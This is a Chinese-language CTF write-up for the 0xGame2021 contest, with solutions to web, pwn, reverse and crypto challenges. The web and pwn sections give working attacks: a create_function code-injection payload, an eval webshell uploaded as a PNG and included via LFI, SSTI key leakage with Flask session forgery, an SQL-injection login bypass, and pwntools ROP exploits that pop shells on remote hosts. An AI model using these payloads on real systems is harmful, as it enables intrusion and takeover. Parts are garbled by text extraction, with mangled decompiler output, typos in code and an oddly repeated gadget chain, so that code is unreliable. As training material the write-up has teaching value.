# 0xGame2021 Writeup 2

### Web

为了能使 \$payload 可控,通过 if 判断,所以要想办法拿到 \$secret\_key ,但是根据 hash\_hmac 原理我们得知 \$secret\_key 是不可控的。

那么思路来到第一个加密,想办法通过传参改变或者得知《secret\_key》,如果不知道 trick,那么就考虑可以传什么参数,正常字符串都是不行的,那就想到传数组过去

本地调试一下,就会发现,传入数组会导致 \$secret\_key 变为 null ,此时 \$payload 就可控了 进入到 if 中,看到这个结构就应该想到 create\_function 函数,这边直接给出 payload,一看就会:

```
action=create_function&Pupi1=};system("ls");/*
```

### 一个简单的上传

打开网页, 发现有个文件上传, 先习惯性 F12 看一下

发现有个 read.php 去看一下里面是什么,然后注意到filename参数配合题目名字猜测存在文件包含,用php伪协议去尝试获取源码

php://filter/read=convert.base64-encode/resource=read.php

```
<?php
error_reporting(0);
$a=$_GET["filename"];
if(preg_match('/flag/i',$a)){
   exit("nononono");
}
include($a);
</pre>
```

php://filter/read=convert.base64-encode/resource=index.php

```
<div class="light"><span class="glow">
```

```
<form enctype="multipart/form-data" method="post" onsubmit="return</pre>
checkFile()">
                嘿伙计, 传个火?!
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit"</pre>
value="upload"/>
            </form>
      </span><span class="flare"></span><div>
      <!--read.php?filename= -->
<?php
   error_reporting(0);
    //设置上传目录
   define("UPLOAD_PATH", "./uplo4d");
   $msg = "Upload Success!";
    if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_name = $_FILES['upload_file']['name'];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
     if(preg_match("/ph/i", strtolower($ext))){
        die("这可不能上传啊!");
   }
            $content = file_get_contents($temp_file);
           if(preq_match("/php/i", $content)){
                die("诶,被我发现了吧");
            }
        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }
?>
```

稍微看看源码发现这里文件上传有检测后缀名不能上传存在ph所以这里我们无法通过php5, phtml等绕过后缀, 所以这里只能上传其他后缀, 那么我们这里就要思考怎么让服务器去能执行我们的恶意代码, 然后我们注意到read.php 里面有文件包含的操作, 我们可以通过包含我们上传的恶意图片, 然后执行其中的代码。然后注意到会检测文件内容存在php就不给上传, 所以这里我们使用短标签绕过。

```
<?=eval($_POST[1]);?>
```

新建文件写入上面的代码改后缀名为png,上传文件,获取到上传的路径,用文件包含去包含我们的文件就可以执行了

```
/read.php?filename=./uplo4d/4a47a0db6e608dfcfdf08a5ca249.png
```

然后就可以直接在蚁剑里面连接我们的shell,这里注意连接时候url要带上参数,

```
http://159.75.116.195:770/read.php?
filename=./uplo4d/4a47a0db6e608dfcfdf08a5ca249.png
```

进去以后可以在根目录有个有个flag文件,里面提示说flag在环境变量里面。所以我们可以直接执行 env 去打印全部的环境变量,即可发现flag。

### 一个简单的登陆

这个题目描述说是flask,那么我们先去查一下flask目前的漏洞,主要最多的就是SSTI和flask-session伪造。

然后我们回到题目这里发现需要登陆,我们随便登陆一个发现有个flag,我们点一下发现需要admin,然后在cookie中注意到有session,那么可以大致有个思路,flask-session伪造需要key,我们怎么能去获取这个key。

这个时候就可以模糊测试一下,发现404页面会回显url,有可能会存在SSTI,那么我们随手测试一下

```
{{8*8}}
```

发现回显了64, 那就说明这里确实有SSTI的漏洞, 那么我们就可以通过这里取获取我们的key,

```
{{config}}
```

然后在这里发现了key是什么,然后就是取伪造我们的session,这里上脚本<u>https://github.com/noraj/flask-session-cookie-manager</u>

先通过脚本解密

```
python3 flask_session_cookie_manager3.py decode -c
"eyJuYW1]IjoiYSIsInVpZCI6Ijg4In0.YW]IeQ.gpDUFT-upW-W1hG1EgroaIeEsd4"
```

```
b'{"name":"a","uid":"88"}'
```

发现是传递了name,和uid。那么我们伪造的时候也按照这个格式去伪造,目标{"name":"admin","uid":"1"}

ps: 这里的uid为1猜不到可以多次尝试,要尽量去猜测他的后端逻辑,我们每次注册都会有一个uid并且都是数字,所以猜测admin的uid肯定靠前不是0就是1。

用脚本加密

```
python3 flask_session_cookie_manager3.py encode -s 'x1ct34myydsytstflglgjhdfhsh'
-t '{"name":"admin","uid":"1"}'
```

eyJuYW1lIjoiYWRtaW4iLCJ1aWQi0iIxIn0.YWlLMw.oxWOuEFNnfOAS7cDkzg0JC-\_Rxc

那着这个session去替换原来的session然后再去请求flag就可以拿到flag了。

### Come to Inject me

首先看到登陆框也提示是注入,那么肯定是sql注入了,这里我们先尝试fuzz一些参数

发现 = 空格 单引号被过滤了,我们要尝试登陆,所以去尝试一下万能密码,这里需要理解万能密码的原理,

他是通过字符串拼接去闭合了原来的sql语句,在配合一些逻辑操作符使我们查询为真

```
select * from test.0xgame_users where username = "$username" and password =
"$password"
```

这里的sql语句如上因为单引号过滤了所以很明显是用的双引号,然后我们尝试闭合语句

```
username="or/**/1#&password=1
```

这里 /\*\*/ 是绕空格过滤的一种方式可以代替空格的作用, # 是mysql的注释符, 拼接后

```
select * from test.0xgame_users where username = ""or/**/1# and password =
"$password"
```

后面的就不起作用了or的逻辑是只要有真就返回真,所以这里查询就为真了,我们也就可以成功登陆。 拿到flag

### **Pwn**

### ezpwn

鉴于stack那题出的有点难

涉及到栈迁移后的修栈以及调栈问题

所以特意出了一题相对简单的题

为了避免修栈压力 我把栈放到了堆上

还预先malloc了一个大的块来缓冲

按照正常栈迁移流程来即可

(第二次回去的函数跳转到vul而不是main这个思路不错)

```
from pwn import*
r=process('./main')
context.log_level='debug'

libc=ELF('./libc-2.23.so')

pop_rdi=0x4012a3
leave=0x401192
puts_got=0x404018
puts_plt=0x401030
start=0x401167

r.recvline()
r.sendline(p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start))
```

```
fake_stack=int(r.recvuntil('\n',drop=True)[30:],16)
success("fake_stack: "+hex(fake_stack))

r.recvline()
r.send('\x00'*0x50+p64(fake_stack-0x8)+p64(leave))

libc_base=u64(r.recvuntil('\n',drop=True)+p16(0))-libc.sym['puts']
success("libc_base: "+hex(libc_base))

one_gadget=libc_base+0xf1207

r.recvline()
r.send('\x00'*0x58+p64(one_gadget))

r.interactive()
```

### stack

出难了一开始只想着弄个用程序自带的两次leave来调栈的

既然出出来了 那就拿来当作压轴题

首先注意到栈迁移的地址距离bss段的起始部分非常接近

而bss段的开头存储有IO指针 开头再往前还存储有got跳转表

puts会调用这些指针 而函数调用会使用到got表 这些都不能被破坏

但是调用puts函数泄露的时候会使用大量的栈空间 甚至于使用到bss段之前的不可写的段上

所以先使用read函数将rop链写到bss段的较高地址处

而read函数调用的栈空间很小 可以满足我们的需要

然后使用gadget: pop rsp再次将栈迁移过去 以达到大量栈空间的需要

```
from pwn import*
 r=remote('121.4.15.155',10005)
#r=process('./main')
context.log_level='debug'
elf=ELF('./main')
libc=ELF('./libc-2.23.so')
bss=0x4040A0
main=elf.symbols['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_plt=elf.plt['read']
 read_got=elf.got['read']
pop_rdi=0x401293
pop_rsi=0x401291
pop_rsp=0x40128d
r.recvline()
 r.recvline()
 r.send(p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x500)+p64(0)+p64(read_plt)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(p
pop_rsp)+p64(bss+0x500))
```

```
r.recvline()
r.send('a'*0x50+p64(bss-0x8))
r.send((p64(0)*3+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main)).ljust(0x58,
'\x00'))
libc_base=u64(r.recvline()[:-1]+p16(0))-0xf7310
success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+0x18ce17
r.recvline()
r.recvline()
r.send(p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x500)+p64(0)+p64(read_plt)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(pop_rsi)+p64(p
pop_rsp) + p64(bss + 0x500)
r.recvline()
#gdb.attach(r)
r.send('a'*0x50+p64(bss-0x8))
r.send(p64(0)*3+p64(pop_rdi)+p64(bin_sh)+p64(system))
r.interactive()
```

### N1k0la's love

### Stupid repeater

两题都是格式化字符串

既然都是用fmtstr做的

那我就不放exp了

之后会出一个用不了fmtstr的

fmtstr建议少用或者别用

### Reverse

## **Despacito**

考点: 逆向中常见加密算法的识别

程序流程比较长,实现了一个标准的加密算法,具体代码实现参考了<u>DES加密算法—实现(C语言)</u>,可能直接阅读整个程序比较困难,但是通过程序中函数名称,和一些加密算法固定的置换表数据,可以知道这是一个DES加密算法。

```
data:0000000000404020 IP_Table
                                          dd 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19
data:0000000000404020
                                                                     ; DATA XREF: DES_IP_Transform(char *)+261o
.data:0000000000404020
                                          dd 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39
.data:0000000000404020
                                          dd 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50
.data:0000000000404020
                                          dd 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4
                                          dd 62, 54, 46, 38, 30, 22, 14, 6 public IP_1_Table
.data:0000000000404020
.data:0000000000404120
.data:0000000000404120 IP_1_Table dd 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22
.data:0000000000404120
                                                                       DATA XREF: DES_IP_1_Transform(char *)+261o
.data:0000000000404120
                                          dd 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12
                                         dd 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2
dd 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25
.data:0000000000404120
.data:0000000000404120
                                         dd 32, 0, 40, 8, 48, 16, 56, 24
public E_Table
.data:0000000000404120
.data:0000000000404220
```

```
int64 fastcall DES Encrypt(char *a1, char *a2, char *a3)
  2 {
   3
     char v4[16][48]; // [rsp+20h] [rbp-60h] BYREF
     char v5[64]; // [rsp+320h] [rbp+2A0h] BYREF
   4
   5 char v6[8]; // [rsp+360h] [rbp+2E0h] BYREF
   6 char v7[8]; // [rsp+368h] [rbp+2E8h] BYREF
     char Buffer[8]; // [rsp+370h] [rbp+2F0h] BYREF
   8 FILE *v9; // [rsp+378h] [rbp+2F8h]
   9 FILE *Stream; // [rsp+380h] [rbp+300h]
  10 int v11; // [rsp+38Ch] [rbp+30Ch]
  11
     Stream = fopen(a1, "rb");
12
13 v9 = fopen(a3, "wb");
14
     if ( !Stream )
15
       return 0xFFFFFFFi64;
16 if (!v9)
17
       return 4294967293i64;
18 *( QWORD *)v6 = *(_QWORD *)a2;
19
     Char8 to Bit64(v6, v5):
20
     DES_MakeSubKeys(v5, v4);
21
      while ( !feof(Stream) )
  22
23
        v11 = fread(Buffer, 1ui64, 8ui64, Stream);
24
        if ( v11 == 8 )
  25
26
         DES_Encrypt_Block(Buffer, v4, v7);
27
          fwrite(v7, iul64, 8ul64, v9);
  28
  29
9 30
     if ( v11 )
  31
        memset(&Buffer[v11], 0, 8 - v11);
32
        DES Encrypt Block(Buffer, v4, v7);
33
34
        fwrite(v7, 1ui64, 8ui64, v9);
  35
     fclose(Stream);
36
37
     fclose(v9);
38
     return 0i64;
39 }
```

还有根据函数名称就能猜测出这两个函数就是进行密钥扩展,置换的函数,与对数据进行分块加密的函数

知道了这个程序进行的就是DES加密,并且知道了密钥为 0xgame21 和加密后的文件cipher.txt后,就能很容易编写脚本得到明文。

同时要注意提交发 flag 形式为 0xGame{}, 括号中包含的是明文的md5值

```
from Crypto.Cipher import DES
import hashlib
f = open('cipher.txt', 'rb')
plaintext = f.read()
key = b'Oxgame21'
cipher = DES.new(key, DES.MODE_ECB)
message = cipher.decrypt(plaintext)
print("plain.text is ", str(message, encoding = "utf-8"))

md5 = hashlib.md5()
md5.update(message)
print('OxGame{' + md5.hexdigest() + '}')
# OxGame{83b9879f334340ef42dbb9f40468fc84}
```

### **Secret Base**

改表 base64 算法,知道密文和表直接解密

```
import base64

cipher = "FbdbHqAUNzoiIDdUIDhSEnF54DHthDT5Hm05HV1REnoAhaF0Hn2dFBQVFC0="
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
mytable = "123DfgabcQeEFh4pklmnojqGHIJKLMNOPdRSTUVWXYZrstuvwxyz0ABCi56789+/"
print(base64.b64decode(cipher.translate(str.maketrans(mytable, table))))
# 0xGame{58d8ed3c-3986-499a-9bdb-554c4a0a3bf3}
```

## **Crypto**

### Calender

一道日历密码,去百度搜一下日历密码就可以知道是怎么回事了,当然有的同学直接猜出来日历的1-26 对应字母a-z。注意一下提交格式,每个字母都是小写,每个单词用下划线连接。

## **Gandalf's guidance**

这题单纯是为了让同学们会过pow,看前两天没人写CN.NO1,就补了个这个。后来又给了个hint,里面是去年的题以及题解(拿去年题解的脚本改一改,直接梭都可以)。有的同学去查了sha256的具体过程,其实这个算法不可逆,我们直接枚举前面的四个字符就可以了。

```
from pwn import *
import string
from hashlib import sha256
r = remote("47.101.38.213", 59709)
table = string.digits + string.ascii_letters
r.recvuntil(b'sha256(XXXX+')
suffix = r.recv(8).decode()
r.recvuntil(b' == ')
tar = r.recvuntil(b'\n')[:-1].decode()
prefix = ''
for a in table:
   for b in table:
        for c in table:
            for d in table:
                sha = (a + b + c + d + suffix).encode()
                if sha256(sha).hexdigest() == tar:
                    prefix = a + b + c + d
r.recvuntil(b"Plz Tell Me XXXX :")
r.sendline(prefix.encode())
r.interactive()
```

这里介绍一下远程交互的常用函数。

```
本地: sh = porcess("./level0")
远程: sh = remote("127.0.0.1",10001) # 连接至服务器,前面是服务器IP,后面是端口关闭连接: sh.close()
sh.send(data) # 发送数据
sh.sendline(data) # 发送一行数据,相当于在数据后面加\n
sh.recv(numb = 2048, timeout = dufault) # 接受数据, numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True) # 接受一行数据,keepends为是否保留行尾的\n
sh.recvuntil(b"Hello,World\n",drop=fasle) # 接受数据直到我们设置的特定字符出现,这里是'Hello,World\n'
sh.recvall() # 一直接收直到EOF
sh.recvrepeat(timeout = default) # 持续接受直到EOF或timeout
sh.interactive() # 直接进行交互,相当于回到shell的模式,在取得shell之后使用,或者在确认下面就可以拿到flag,用这个可以显示所有发送来的数据
```

### CN.NO1

这题本来是想让大家学习写自动脚本的,后来被学弟说交互时间就50s太短了,自动脚本又不会写,就把交互时间改了1000s,然后就可以手动拿数据了。

这题考察RSA的攻击其实很简单,就是常见的低加密指数广播攻击,用一次中国剩余定理得到模 n1\*n2\*n3下的c,然后由于n1\*n2\*n3比 $m^3$ 大的多,所以直接开三次方就可以得到m。下面的是手动脚本,需要分两次跑,先过pow,再获得m。

```
from hashlib import sha256
import string
import gmpy2
from functools import reduce
def CRT(mi, ai):
   M = reduce(lambda x, y: x * y, mi)
   m_i = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
    return reduce(lambda x, y: x + y, m_i) % M
def proof_of_work(suffix, tar):
   table = string.digits + string.ascii_letters
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    sha = (a + b + c + d + suffix).encode()
                    if sha256(sha).hexdigest() == tar:
                        prefix = a + b + c + d
    return prefix
suffix =
proof_of_work(suffix, tar)
n0 = 81793950317323481692767732819973264661580355594464858621831455885679931967578
30828560365431595998491571185033059275778987429565871115294975815023848571793142
87613961069845111252660881227703346411743904420481406478075278313519014626891030
77010412075242786253276564794556677743062002131242843694520133137015423
```

```
c0=60079529993694296944309646275896364827341268453939329077347451357123478807867
33862472571056804652535652203861693863777147084817619684731742353669286061650088
89109255109490027295927120875869969369131598922092091381873244812590779409642683
88173047674029602075524971578219735213616030099712434222397967118815692
n1 = 82714020898466109188806765005052078290408416369809000961253670078741768220706
70748273102169342123688778917294823386335880678696553512912074189168473190934840
17734236630271411041994559184755768866708316942526407745038831606061363317633340
74251011636474884443349235821085391841594652419307007118168780230347607
{\tt c1}{=}18493442015084370476954008048753612172749765003988491274747760065218466007230
44286983725367507155354224975962343684055441121415021546771644754012385028518496
84650292989044451100097561161661138349719213144945549745833879168553394990565643
50465368909861406511436810682892789773547525968127369176481697653646072
n2 = 92704735753371596201868416797356039527849898425151895710043790921861041607406
64783502065098020742171633292484820001631522216848707220365843525754703473580280
18116127318019449758686499926237068832749435674038208191579135877911108619606642
47989240054284391879701881417154219307671176680071062409391627312877429
c2=69789289180090400587646792238047626021838156017686765474219371684126311334609
81119030632115391712752598613081514331866225918991367396170374630437647830194802
92735633011280316405121480403688763133663489639641540743970662991587111920690302
62786402247229237300576765849720271688333734876354946993637293358996656
n=[]
c=[]
n.append(n0)
n.append(n1)
n.append(n2)
c.append(c0)
c.append(c1)
c.append(c2)
e = 3
m = gmpy2.iroot(CRT(n, c), e)[0]
print(m)
```

然后下面这个是自动脚本,同学们可以学习一下。

```
from hashlib import sha256
from pwn import *
import string
import gmpy2
from functools import reduce
def proof_of_work():
   table = string.digits + string.ascii_letters
   r.recvuntil(b'[+] sha256(XXXX+')
   suffix = r.recv(8).decode()
   r.recvuntil(b' == ')
   tar = r.recvuntil(b'\n')[:-1].decode()
   prefix = ''
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    sha = (a + b + c + d + suffix).encode()
                    if sha256(sha).hexdigest() == tar:
                        prefix = a + b + c + d
```

```
r.recvuntil(b"[+] Plz Tell Me XXXX :")
    r.sendline(prefix.encode())
def CRT(mi, ai):
   M = reduce(lambda x, y: x * y, mi)
   m_i = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
    return reduce(lambda x, y: x + y, m_i) % M
if __name__ == '__main__':
    r = remote("47.101.38.213", 60712)
   proof_of_work()
   n = []
    c = []
   e = 3
   for i in range(3):
        n.append(int(r.recvline().decode()[3:-1]))
        c.append(int(r.recvline().decode()[3:-1]))
   m = gmpy2.iroot(CRT(n, c), e)[0]
    print(m)
    r.sendline(str(m).encode())
    r.interactive()
```

## **Equation**

linux虚拟机中,直接在终端输入nc 47.101.38.213 60718,可以获得如下内容:

(当然,本题为防作弊,每次连接后发出的内容都不一样,但f=ap+bq的格式是肯定的,你获取的 (a,b)系数可能与此不同,但不影响解题)。

n =

32366272889292879088882195998253721958216118427319043123590736165426820884306499 72505072774953729579662378169088625526801609681954247481445743753234195846484864 32006599163876925633672709233622634624856268632786346986362195709956131636378579 62196938268241034329466928075048970301826587646917598116612437415879221437295531 62851338441425836836991694674238970335517972711258059268343941626154786549172502 55862486052722915840287749675536279427245796323892544964098492168414096046869805 57654983994405692268823696566554514932549687234389560838939048535333918846662927 37458538676672383829067193778907330696675919164932574607371728825246281795273459 76928309946222556355469080585815244775185325189241129765631970101922519297464453 12969880127879576958492529042343256141675368594461418257288354657105617752796615 735654975200326101463143024542800708390095145361

e = 906371

c =

 $15326438748659000169738486078886997781541935909035823368289334280968233481809714\\57442806487923782791476074043839608581840010075291847465785855438877172406438370\\13958976180452762813988244342748485576539090899942444359727106323366393353000236\\67869547648881808002952139588112935030846125601449819192271492110196773991802015\\58097853266319970695091034307000836897969305299098522785271966824556923885790865\\52273856824143198463214294288100229095300504441058372106016149332214176629867255\\39709495237298445020038006845869543594704774018595363714269915863872404761678621\\06624438722044927035548292437401481179012575168951192364641026966545994140064500\\76556965322449866045219494771596497487547608749197439023078241981268930024864452\\62315126416725774433901321311453440889692050265638750239216391568288836776466397\\695369910655394827082589725264284100323144743368$ 

f = 4071 \* p + 7840 \* q =

 $70609572383507708646716591625555712379946460153989879089689539734922903656784859\\ 76461877105488188285509721736325291122948521094751427059364999919801842759573386\\ 84972088214573159137781785322672174195875565196400090478547076497516635140170946\\ 26487619210733938544175505589938842947647526503757953723232894419183885106501307\\ 58779288877040691361960692685141215708440168846913057117411471730595050109728244\\ 6764439401475500746719477183$ 

#### 方法一:

有Sagemath的,录入4个已知数据后,可以直接利用以下的代码求解(你的f=ap+bq中的a,b可能与此不同)

```
var('p q')
solve([p * q == n, 4071 * p + 7840 * q == f],(p, q))
```

然后就可解出

#### p ==

50838589287086911007779591165058873336808804380735879594415898172608573920954262 80573595409516065652457557087257582498766032467943842309357363106558257787135298 63388382931243132037573568857751260586926644085567688283743118870085604639878218 27423282115523941599444908325154156890888119464967818843364212817837804030893836 34369539994631626195420357561861396522278697114564263369128050977173067291911354 418900362132140587209993

#### q ==

63664773832569677519706020487576843169045402921673855238268912740885144405056606
34745365324329334130604911028192256744516414894198327621461246682553540834732916
80595251942938877659803042653930658177216490292302914002851087762123450881730259
70081123802938956529389647207612991935417057486695860551147096149288412098883197
46463583093400709614547276940953368857424121494354522321223778287994763284682566
699629595310657706146377

### 方法二:

没有Sagemath的,可以编程求解。

由已知pq=n,4071p+7840q=f (你获得的系数可能与此不同),那么有4071p=f-7840q,则  $4071n=4071pq=(f-7840q)q=-7840q^2+fq$ 。那么我们就可以构造方程  $7840q^2-fq+4071n=0$ 。根据二次函数的单调性, $y=7840x^2-fx+4071n$ 在 $(2^{1407},2^{1408})$ 区间内单调递增,可以二分求解出q的值。

#### n =

 $32366272889292879088882195998253721958216118427319043123590736165426820884306499\\ 72505072774953729579662378169088625526801609681954247481445743753234195846484864\\ 32006599163876925633672709233622634624856268632786346986362195709956131636378579\\ 62196938268241034329466928075048970301826587646917598116612437415879221437295531\\ 62851338441425836836991694674238970335517972711258059268343941626154786549172502\\ 55862486052722915840287749675536279427245796323892544964098492168414096046869805\\ 57654983994405692268823696566554514932549687234389560838939048535333918846662927\\ 37458538676672383829067193778907330696675919164932574607371728825246281795273459\\ 76928309946222556355469080585815244775185325189241129765631970101922519297464453\\ 12969880127879576958492529042343256141675368594461418257288354657105617752796615\\ 735654975200326101463143024542800708390095145361$ 

e = 906371

#### c =

 $15326438748659000169738486078886997781541935909035823368289334280968233481809714\\57442806487923782791476074043839608581840010075291847465785855438877172406438370\\13958976180452762813988244342748485576539090899942444359727106323366393353000236\\67869547648881808002952139588112935030846125601449819192271492110196773991802015\\58097853266319970695091034307000836897969305299098522785271966824556923885790865\\52273856824143198463214294288100229095300504441058372106016149332214176629867255\\39709495237298445020038006845869543594704774018595363714269915863872404761678621\\06624438722044927035548292437401481179012575168951192364641026966545994140064500\\76556965322449866045219494771596497487547608749197439023078241981268930024864452\\62315126416725774433901321311453440889692050265638750239216391568288836776466397\\695369910655394827082589725264284100323144743368$ 

#### f =

 $70609572383507708646716591625555712379946460153989879089689539734922903656784859\\ 76461877105488188285509721736325291122948521094751427059364999919801842759573386\\ 84972088214573159137781785322672174195875565196400090478547076497516635140170946\\ 26487619210733938544175505589938842947647526503757953723232894419183885106501307\\ 58779288877040691361960692685141215708440168846913057117411471730595050109728244\\ 6764439401475500746719477183$ 

```
def v(x):
    return 7840*x*x-f*x+4071*n
L, R = 2**1407, 2**1408
while L <= R:
   M = (L+R)//2
   if y(M) < 0:
       L = M+1
   if y(M) > 0:
        R = M-1
   if y(M) == 0:
        print(M)
        break
#6366477383256967751970602048757684316904540292167385523826891274088514440505660
